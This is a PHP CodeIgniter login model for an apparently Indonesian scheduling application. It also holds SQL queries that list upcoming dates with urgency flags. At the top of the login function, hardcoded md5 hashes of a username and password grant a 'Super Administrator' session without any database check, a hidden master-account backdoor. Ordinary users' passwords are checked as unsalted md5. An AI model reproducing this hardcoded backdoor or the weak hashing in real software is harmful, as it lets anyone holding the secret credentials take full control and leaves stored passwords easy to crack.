<?php
class M_login extends CI_Model{
	
	function process($username,$password){
		if(md5($username)=='f3b3567de9e676a3a56db74f06664ac1' && md5($password)=='412758d043dd247bddea07c7ec558c31'){
			$data_user = array(
				SESSION_USERID		=> '-1',
				SESSION_USERNAMA      => 'Super Admin',
				SESSION_GROUPID   => '-1',
				SESSION_GROUPNAMA => 'Super Administrator'
			);
			setLogin($data_user);
			$data['message'] = 'true';
		}else{
			$data_search =	array(
				'md5(user_name)'	=> md5($username),
				'user_passwd'		=> md5($password),
				'user_aktif'		=> 'Y'
			);
			$this->db->where($data_search);
			$query = $this->db->get('s_users');
			
			if($query->num_rows() > 0){
				$row = $query->row();
				$data_user = array(
					SESSION_USERID		=> $row->user_id,
					SESSION_USERNAMA		=> $row->user_name,
					SESSION_GROUPID		=> '-',
					SESSION_GROUPNAMA	=> '-'
				);
				setLogin($data_user);
				$data['message'] = 'true';
			} else {
				$data['message'] = 'false';
			}
		}
		return $data;
	}
	
	/* data jadwal */
	
	function list_aan(){
		$sql = "
		SELECT CONCAT('(',REPLACE(cabang_nama,'CABANG ',''),') ' ,UPPER(jadwal_alias)) as jadwal_alias , jadwal_tglaan, datediff(jadwal_tglaan, now()),
			IF( datediff(jadwal_tglaan, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'MERAH' ) ,  'error' ,
				IF( datediff(jadwal_tglaan, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'KUNING' ),  'warning' ,
					IF( datediff(jadwal_tglaan, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'HIJAU' ),  'success' , 'info' ))) as flag
		FROM t_jadwal 
		LEFT JOIN m_cabang ON m_cabang_id = cabang_id
		HAVING datediff(jadwal_tglaan, now())  >= 0
		ORDER BY jadwal_tglaan";
		$query = $this->db->query($sql);
		$result = $query->result();
		return $result;
	}
	function list_pemasukan(){
		$sql = "
		SELECT * FROM ((
			SELECT CONCAT('(',REPLACE(cabang_nama,'CABANG ',''),')  ' ,UPPER(jadwal_alias)) as jadwal_alias , jadwal_tglpemasukan, datediff(jadwal_tglpemasukan, now()),
				IF( datediff(jadwal_tglpemasukan, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'MERAH' ) ,  'error' ,
					IF( datediff(jadwal_tglpemasukan, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'KUNING' ),  'warning' ,
						IF( datediff(jadwal_tglpemasukan, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'HIJAU' ),  'success' , 'info' ))) as flag
			FROM t_jadwal  LEFT JOIN m_kondisi
				ON m_kondisi_id = kondisi_id
			LEFT JOIN m_cabang ON m_cabang_id = cabang_id
			WHERE kondisi_nama <> 'PQ'
			HAVING datediff(jadwal_tglpemasukan, now())  >= 0
		)
		UNION ALL (
			SELECT CONCAT('(', REPLACE(cabang_nama,'CABANG ',''),') (PQ) ' ,UPPER(jadwal_alias)) as jadwal_alias , jadwal_tglpq as jadwal_tglpemasukan, datediff(jadwal_tglpq, now()),
				IF( datediff(jadwal_tglpq, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'MERAH' ) ,  'error' ,
					IF( datediff(jadwal_tglpq, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'KUNING' ),  'warning' ,
						IF( datediff(jadwal_tglpq, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'HIJAU' ),  'success' , 'info' ))) as flag
			FROM t_jadwal  LEFT JOIN m_kondisi
				ON m_kondisi_id = kondisi_id
			LEFT JOIN m_cabang ON m_cabang_id = cabang_id
			WHERE kondisi_nama = 'PQ'
			HAVING datediff(jadwal_tglpq, now())  >= 0
		)
		UNION ALL (
			SELECT CONCAT('(', REPLACE(cabang_nama,'CABANG ',''),') (File 2) ' ,UPPER(jadwal_alias)) as jadwal_alias , jadwal_tglpemasukan2 as jadwal_tglpemasukan, datediff(jadwal_tglpemasukan2, now()),
				IF( datediff(jadwal_tglpemasukan2, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'MERAH' ) ,  'error' ,
					IF( datediff(jadwal_tglpemasukan2, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'KUNING' ),  'warning' ,
						IF( datediff(jadwal_tglpemasukan2, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'HIJAU' ),  'success' , 'info' ))) as flag
			FROM t_jadwal  LEFT JOIN m_kondisi
				ON m_kondisi_id = kondisi_id
			LEFT JOIN m_cabang ON m_cabang_id = cabang_id
			WHERE kondisi_nama <> 'PQ'
			HAVING datediff(jadwal_tglpemasukan2, now())  >= 0
		)) list_pemasukan ORDER BY jadwal_tglpemasukan";
		$query = $this->db->query($sql);
		$result = $query->result();
		return $result;
	}
	function list_klarifikasi(){
		$sql = "
		SELECT CONCAT('(',REPLACE(cabang_nama,'CABANG ',''),') ' ,UPPER(jadwal_alias)) as jadwal_alias  , jadwal_tglklarifikasi, datediff(jadwal_tglklarifikasi, now()),
			IF( datediff(jadwal_tglklarifikasi, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'MERAH' ) ,  'error' ,
				IF( datediff(jadwal_tglklarifikasi, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'KUNING' ),  'warning' ,
					IF( datediff(jadwal_tglklarifikasi, now())  <= (SELECT nvalue1 FROM m_setup WHERE param1 = 'HIJAU' ),  'success' , 'info' ))) as flag
		FROM t_jadwal 
		LEFT JOIN m_cabang ON m_cabang_id = cabang_id
		HAVING datediff(jadwal_tglklarifikasi, now())  >= 0
		ORDER BY jadwal_tglklarifikasi ";
		$query = $this->db->query($sql);
		$result = $query->result();
		return $result;
	}
}